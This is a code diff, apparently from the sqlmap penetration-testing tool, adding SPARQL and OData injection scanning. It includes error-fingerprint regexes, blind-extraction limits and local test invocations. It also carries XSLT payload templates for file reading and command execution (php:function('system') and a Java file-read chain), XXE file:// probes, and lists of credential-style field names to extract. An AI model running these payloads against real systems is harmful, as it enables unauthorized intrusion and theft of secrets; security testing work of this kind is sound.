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Adding switches --odata and --sparql
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18 changed files with 2505 additions and 62 deletions
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@ -944,11 +944,12 @@ def _setTamperingFunctions():
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warnMsg += "a good idea"
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logger.warning(warnMsg)
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# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines
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# (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering
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# hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test
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# and the name lookup - keeping two lists in step is exactly how this raised StopIteration.
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_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe")
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# tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines do not run
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# payloads through the tampering hook, so warn instead of silently ignoring the user's
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# '--tamper'. One tuple drives both the test and the name lookup - keeping two lists in step is
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# exactly how this raised StopIteration, and leaving an engine OUT (as '--hql' was) is how the
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# warning silently stops covering one.
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_nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe", "hql", "sparql", "odata")
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if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines):
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engine = next(_ for _ in _nonSqlEngines if conf.get(_))
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warnMsg = "tamper scripts are applied to SQL injection payloads only and "
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@ -2764,7 +2765,7 @@ def _checkTor():
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def _basicOptionValidation():
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_nonSqlTechniques = [name for name, enabled in (
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("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
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("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled]
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("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql), ("--sparql", conf.sparql), ("--odata", conf.odata)) if enabled]
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if len(_nonSqlTechniques) > 1:
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errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
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errMsg += "each is a self-contained scan for a different back-end class - pick one"
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@ -128,6 +128,8 @@ optDict = {
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"xxe": "boolean",
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"xslt": "boolean",
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"hql": "boolean",
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"sparql": "boolean",
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"odata": "boolean",
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"jwt": "boolean",
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"oobServer": "string",
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"oobToken": "string",
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@ -20,7 +20,7 @@ from lib.core.enums import OS
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from thirdparty import six
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# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
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VERSION = "1.10.8.19"
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VERSION = "1.10.8.20"
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TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
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TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
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VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
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@ -1268,13 +1268,34 @@ XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIG
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# engine speaking rather than the application echoing.
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XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version")
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# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports
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# their availability and never invokes them - probing whether a function EXISTS is not exercising it.
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XSLT_RCE_PROBES = (
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("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"),
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# Extension bridges that turn XSLT injection into arbitrary file read and, on some engines, command
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# execution. An injection has to land in the ELEMENT slot to reach one: the value slot cannot bind the
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# namespace prefix the extension needs. function-available() is NOT trustworthy here (Xalan answers
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# 'false' for a working java: call), so each read/exec bridge is confirmed by EVALUATION - a
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# deterministic self-check whose result the application cannot produce by itself - not by asking whether
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# the function "exists". Read/exec templates take one %s, an already-quoted XPath string literal.
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XSLT_BRIDGE_PHP = "php"
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XSLT_BRIDGE_JAVA = "java"
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# label, kind, ns-prefix, ns-uri, read-template, exec-template (None where that engine has no exec bridge)
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XSLT_BRIDGES = (
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("PHP registerPHPFunctions (php:function)", XSLT_BRIDGE_PHP, "php", "http://php.net/xsl",
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"php:function('file_get_contents',%s)", "php:function('system',%s)"),
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# Xalan is READ-ONLY here on purpose: java:...Scanner over a File reads any file reliably, but the
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# java: bridge does not stringify a Process stdout back into the result tree, so Runtime.exec would
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# run BLIND with no captured output - offering '--os-cmd' that silently returns nothing is worse than
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# not offering it (a destructive command would look like it never ran). Hence no exec template.
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("Xalan java: extension namespace", XSLT_BRIDGE_JAVA, "java", "http://xml.apache.org/xalan/java",
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"java:next(java:useDelimiter(java:java.util.Scanner.new(java:java.io.File.new(%s)),'\\Z'))",
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None),
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)
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# File WRITE / eval surfaces that sqlmap reports but does NOT drive: exsl:document writes to the target
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# filesystem (destructive, '--file-write' territory) and saxon:eval needs Saxon-PE/EE. Their mere
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# availability is the finding. Each is (label, boolean XPath self-check that answers 'true').
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XSLT_ADVISORY_PROBES = (
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("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"),
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("Saxon saxon:eval", "string(function-available('saxon:eval'))"),
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("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"),
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)
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XSLT_MAX_FILE_LENGTH = 65536
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@ -1439,6 +1460,62 @@ HQL_COMMON_ENTITIES = (
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"Message", "Group", "Session", "Token", "Application", "Setting",
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)
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# SPARQL injection ('--sparql'). Error signatures per triple-store for heuristic detection and
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# fingerprinting, anchored to product-specific strings (not the bare "MalformedQueryException" /
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# "Encountered" that several engines share) so they stay exclusive from the other non-SQL engines.
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# Each tuple is (engine_name, regex_fragment).
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SPARQL_ERROR_SIGNATURES = (
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("Apache Jena / Fuseki", r"org\.apache\.jena|com\.hp\.hpl\.jena|Lexical error at line \d+, column \d+|\bQueryParseException\b"),
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("Virtuoso", r"Virtuoso \d+ Error|SPARQL (?:compiler|query):|\bSP03\d\b"),
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# NOTE 'MalformedQueryException' is the RDF4J/Sesame API type, which Blazegraph and Stardog raise
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# too - matching on it alone mislabelled them as RDF4J, so only the package name is kept
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("RDF4J / GraphDB", r"org\.eclipse\.rdf4j|org\.openrdf\.query"),
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("Blazegraph", r"com\.bigdata\.rdf|\bBlazegraph\b"),
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("rdflib", r"rdflib\.plugins\.sparql|\bParseException\b.*?(?:SPARQL|sparql)"),
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("Stardog", r"com\.(?:complexible\.)?stardog"),
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)
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SPARQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SPARQL_ERROR_SIGNATURES)
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# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) SPARQL blind character scan
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SPARQL_CHAR_MIN = 0x20
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SPARQL_CHAR_MAX = 0x7e
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# Bounds on blind SPARQL extraction (each unit costs many requests, so keep them sane)
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SPARQL_MAX_LENGTH = 1024 # an IRI or literal can be long
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SPARQL_MAX_PREDICATES = 64 # distinct predicates enumerated from the default graph
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SPARQL_MAX_RECORDS = 64 # triples dumped from the default graph
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# OData injection ('--odata'). $filter parser error signatures per framework, anchored to product strings
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# so they stay exclusive from the other non-SQL engines. Each tuple is (framework_name, regex_fragment).
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ODATA_ERROR_SIGNATURES = (
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("Microsoft OData (WebAPI/.NET)", r"Microsoft\.OData|Microsoft\.Data\.OData|The query specified in the URI is not valid|Could not find a property named|There is an unterminated string literal at position|Syntax error at position \d+ in"),
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("Apache Olingo (Java)", r"org\.apache\.olingo|The URI is malformed|Invalid OData"),
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("OData4j / other", r"\bodata4j\b|An error occurred while processing the OData request"),
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)
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ODATA_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in ODATA_ERROR_SIGNATURES)
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# Printable-ASCII codepoint bounds for the (lexicographic, binary-search) OData blind character scan
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ODATA_CHAR_MIN = 0x20
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ODATA_CHAR_MAX = 0x7e
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ODATA_MAX_LENGTH = 256 # a single property value
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ODATA_MAX_RECORDS = 20 # entities blind-dumped
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ODATA_MAX_KEY = 100000 # upper bound when bisecting for the lowest existing numeric key
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# Candidate key properties probed to pin an entity for row-by-row extraction (real-world frequency order)
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ODATA_KEY_CANDIDATES = ("Id", "ID", "Key", "Oid", "Guid", "Uuid", "Code", "No", "Number")
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# Common string property names enumerated once injection is confirmed (an unknown property makes the
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# whole $filter error, so existence is a clean null-probe oracle). Ordered by real-world frequency.
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ODATA_COMMON_FIELDS = (
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"Name", "Title", "Description", "Username", "UserName", "User", "Login", "Email", "Mail",
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"Password", "Passwd", "Secret", "Token", "ApiKey", "Key", "Role", "FirstName", "LastName",
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"FullName", "Phone", "Address", "City", "Country", "Status", "Type", "Code", "Hash", "Salt",
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"Note", "Comment", "Value", "Content", "Data", "Owner", "Category", "Product", "Company",
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)
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XXE_IMPACT_FILES = (
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("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
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("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
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@ -105,6 +105,8 @@ def vulnTest(tests=None, label="vuln"):
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("-u \"<base>xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction
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("-u \"<base>ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe
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("-u \"<base>hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction
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("-u \"<base>sparql/search?q=luther\" -p q --sparql --flush-session --disable-hashing", ("is vulnerable to SPARQL injection", "back-end: 'Apache Jena / Fuseki'", "distinct predicate", "S3CR3Tvalue", "SPARQL scan complete")), # SPARQL: Jena error fingerprint + boolean oracle confirmed by an EXISTS/isIRI construct + schema-agnostic blind dump of predicates and triple objects
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("-u \"<base>odata/search?name=luther\" -p name --odata --flush-session --disable-hashing", ("is vulnerable to OData injection", "Microsoft OData (WebAPI/.NET)' v4", "key property 'Id'", "S3CR3Tvalue", "OData scan complete")), # OData: Microsoft-OData error fingerprint + version (contains vs substringof) + boolean oracle confirmed by length()/startswith() + blind dump reaching the never-$select-ed 'Secret' property
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("-u \"<base>jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection
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("-u <url> --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted)
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("-u \"<base>xxe\" --data=\"<root><q>x</q></root>\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read
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